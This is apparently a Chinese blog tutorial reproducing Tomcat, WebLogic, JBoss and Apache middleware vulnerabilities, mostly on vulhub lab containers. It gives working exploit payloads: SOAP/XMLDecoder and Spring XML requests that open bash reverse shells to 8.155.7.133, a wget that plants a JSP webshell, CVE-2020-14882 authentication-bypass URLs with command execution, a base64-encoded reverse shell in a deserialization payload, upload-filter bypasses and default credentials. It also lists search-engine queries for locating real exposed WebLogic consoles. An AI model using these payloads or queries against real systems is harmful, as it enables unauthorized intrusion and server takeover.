常见中间件漏洞复现

1.tomcat

1.1 CVE-2017-12615(put上传)

当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产

⽣,(需要允许put请求) , 攻击者可以利⽤PUT方法通过精心构造的数据包向存在漏洞的服务器里面上

传 jsp⼀句话文件,从而造成远程命令执行,getshell等。

漏洞复现

用BP抓包获取数据

然后用哥斯拉来生成一个jsp木马

管理-->生成

在头部改成PUT提交;写上文件名

下面写我们的木马语句

在这里我们得绕过;他会过滤掉我们的jsp

复制代码
PUT/1.jsp/
PUT/1.jsp%20
PUT/1.jsp::$DATA

我们去访问;上传成功就去连接

1.2 后台弱口令部署war包

在tomcat8环境下默认进入后台的密码为 tomcat/tomcat ,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令(前提人家必须是弱口令)

漏洞复现

在我们之前生成的jsp木马(1.jsp)给他打包成zip;后缀改位war

我们去访问一下访问成功就去连接

1.3 CVE-2020-1938(文件包含)

由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有

Webapp目录下的任意文件

漏洞复现

复制代码
python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 8.155.7.133

2.WebLogic

2.1 后台弱口令GetShell

复制代码
#靶场搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞复现

默认账号密码:weblogic/Oracle@123

weblogic常用弱口令:https://cirt.net/passwords?criteria=weblogic

这⾥注意, 单个账号错误密码5次之后就会⾃动锁定。

复制代码
IP/console/login/LoginForm.jsp

部署-->安装

选择上传文件;选择我们之前war包

可以看到我们的war包

然后去访问我们的木马;哥斯拉连接

2.2 CVE-2017-3506

靶场环境跟上一个一样

漏洞复现
复制代码
#访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

/wls-wsat/CoordinatorPortType

在当前页面抓包之后,添加下面请求包,反弹shell。

先监听我们的6666端口

修改请求方式;构造POC

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/8.155.7.133/6666 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

反弹成功

2.3 CVE-2019-2725

wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该

WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得⽬

标服务器的权限,在未授权的情况下远程执行命令。

靶场环境跟上一关一样

漏洞复现
复制代码
/_async/AsyncResponseService

在当前页面抓包 , 修改请求包 , 写入shell

现在我们的home下创建1.txt;并写进jsp木马

复制代码
python3 -m http.server 6666

修改请求方法;构造POC

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://8.155.7.133/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

木马位置

复制代码
http://8.155.7.133:7001/bea_wls_internal/678.jsp

2.4 CVE-2018-2628

复制代码
#靶场搭建
cd vulhub-master/weblogic/CVE-2018-2628 
docker-compose up -d
漏洞复现

2.5 CVE-2018-2894

复制代码
#靶场搭建
cd vulhub-master/weblogic/CVE-2018-2894 
docker-compose up -d
这⾥环境后台密码是随机得,获取密码: docker-compose logs | grep password

Weblogic Web Service Test Page中⼀处任意⽂件上传漏洞,Web Service Test Page 在 "⽣产模式" 下默认不开启,所以该漏洞有⼀定限制。

设置Web服务测试开启

复制代码
/console/login/LoginForm.jsp

域结构 -> base-domain -> 高级 -> 启动Web服务测试页

然后保存;进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这⼀点很重要

复制代码
/ws_utc/config.do
#更改目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
漏洞复现

上传我们的木马

这个是我们的时间戳

复制代码
121.40.229.129:7001/ws_utc/css/config/keystore/1726815031601_shell.jsp

2.6 CVE-2020-14882

WebLogic远程代码执行漏洞

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。

CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。

使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机

复制代码
#靶场搭建
cd vulhub-master/weblogic/CVE-2020-14882 
docker-compose up -d
漏洞复现
复制代码
#访问管理控制台
http://IP:7001/console/login/LoginForm.jsp
#使⽤以下url绕过登录认证
http://IP:7001/console/css/%252e%252e%252fconsole.portal

未授权访问绕过

复制代码
http://IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabe=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

可以看到执行成功了

这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class

第二种方式
复制代码
#制作一个恶意XML文件,将其提供到Weblogic可以访问得服务器上
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance
  xsi:schemaLocation="http://www.springframework.org/schema/beans
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i &gt;&amp; /dev/tcp/8.155.7.133/6666 0&gt;&amp;1]]></value>
</list>
</constructor-arg>
    </bean>
</beans>

#然后通过以下 URL,Weblogic 将加载此 XML 并执⾏其中的命令
http://8.155.7.133:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://8.155.7.133:8888/1.xml")

实战挖掘
"weblogic"
app="Oracle-WebLogic-Server-管理控制台"
app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"
推荐 :
"WebLogic" && port="7001" && country="CN" && title=="Error 404--Not Found"

3.jboss

3.1 CVE-2015-7501

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了⽤户传⼊的对象,然后我们利⽤Apache Commons Collections中的 Gadget 执⾏任意代码

复制代码
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

访问地址

漏洞复现
复制代码
/invoker/JMXInvokerServlet
返回如下,说明接⼝开放,此接⼝存在反序列化漏洞

将反弹shell进行base64编码

复制代码
bash -i >& /dev/tcp/8.155.7.133/6666 0>&1
ComonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS43LjEzMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}">exp.ser
curl http://8.155.7.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

成功反弹

3.2 CVE-2017-7504

复制代码
#搭建靶场
cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执行任意代码执行

漏洞复现
复制代码
访问地址:/jbossmq-httpil/HTTPServerILServlet
复制代码
python3 jexboss.py -u http://IP:8080

3.3 CVE-2017-12149

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞

复制代码
#搭建靶场
cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d
漏洞复现
复制代码
访问地址:/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化

返回500,说明页面存在,此页面存在反序列化漏洞

使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可

3.4 Administration Console弱口令

Administration Console管理页面存在弱口令,`admin:admin`,登陆后台上传war包 , getshell

环境跟上一关一样

复制代码
#密码文件
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码:admin:vulhub
漏洞复现
复制代码
访问地址:/admin-console/login.seam
复制代码
账号:admin
密码:vulhub

登录后台后来到这个界面

上传我们的shell

上传成功后我们去访问并连接

复制代码
http://IP:8080/shell/shell.jsp

3.5 低版本JMX Console未授权

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到 jmx控制台,并在其中执行任何功能。

复制代码
#搭建靶场
cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d
漏洞复现
复制代码
访问地址:/jmx-console/
这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进⼊)

找到这个点进去

在找这个

制作war包填写远程地址

复制代码
python3 -m http.server 8888

连接成功

3.6 高版本JMX Console未授权

JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面, 通过部署war包 , getshell

复制代码
#搭建靶场
cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

因为使用环境不存在该漏洞所以需要输⼊账户密码:admin vulhub
漏洞复现
复制代码
访问地址:/jmx-console/

搭建远程部署 , 部署远程war包地址

复制代码
python3 -m http.server 80

4.apache

复制代码
#靶场搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
相关推荐
天荒地老笑话么1 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子19 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha21 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络21 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf